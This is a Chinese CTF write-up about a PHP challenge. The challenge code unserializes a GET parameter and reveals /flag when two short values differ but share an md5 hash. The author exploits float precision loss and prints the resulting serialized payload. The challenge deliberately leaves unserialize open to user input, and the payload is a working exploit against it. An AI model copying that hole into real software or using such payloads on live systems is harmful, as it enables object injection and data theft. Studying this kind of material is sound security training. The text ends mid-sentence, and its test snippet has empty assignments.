参加了国赛,才发现自己太菜了,自己做的时候不会
一看别人wp,cm!。正所谓赛后诸葛亮,今天自己也来总结一下这道题
上源代码
<?php
class trick{
public $a;
public $b;
public function __destruct(){
$this->a = (string)$this->a;
if(strlen($this->a) > 5 || strlen($this->b) > 5){
die("你太长了");//a,b的值不能超过5
}
if($this->a !== $this->b && md5($this->a) === md5($this->b) && $this->a != $this->b){
echo file_get_contents("/flag");
}
}
}
highlight_file(__FILE__);
unserialize($_GET[\'trick\']);
题目要求a和b的值和类型都不能相等。并且要让a和b的md5值相等
测试代码
<?php
$a=;
$b=;
var_dump($a!==$b);
var_dump($a!=$b);
var_dump(md5($a)===md5($b));
var_dump($a!==$b&& $a!=$b&&md5($a)===md5($b));
?>
自己就不卖关子了,毕竟是看了wp的人。
要是我们在输入ab的时候最后的范围可以进行改变,比如说数字衰减等等
其实在php里面存在这样的结果。
php只能精度到0.10000000000000精度不衰减。但是后面加加上1以后0.100000000000001直接等于0.1
也就是0.100000000000001在进行运算的时候会因为精度衰减改变成0.1
于是我们可以实验一下
<?php
$a=0.1;
$b=0.100000000000001;
var_dump($a!==$b);#bool(true)
var_dump($a!=$b);#bool(true)
var_dump(md5($a)===md5($b));#bool(true)
var_dump($a!==$b&& $a!=$b&&md5($a)===md5($b));#bool(true)
?>
最后直接进行payload构造
<?php
class trick{
public $a=0.1;
public $b=0.100000000000001;
}
$payload=new trick();
echo serialize($payload);
?>
#O:5:"trick":2:{s:1:"a";d:0.1;s:1:"b";d:0.100000000000001;}
在第一个判断长度的时候也特别巧妙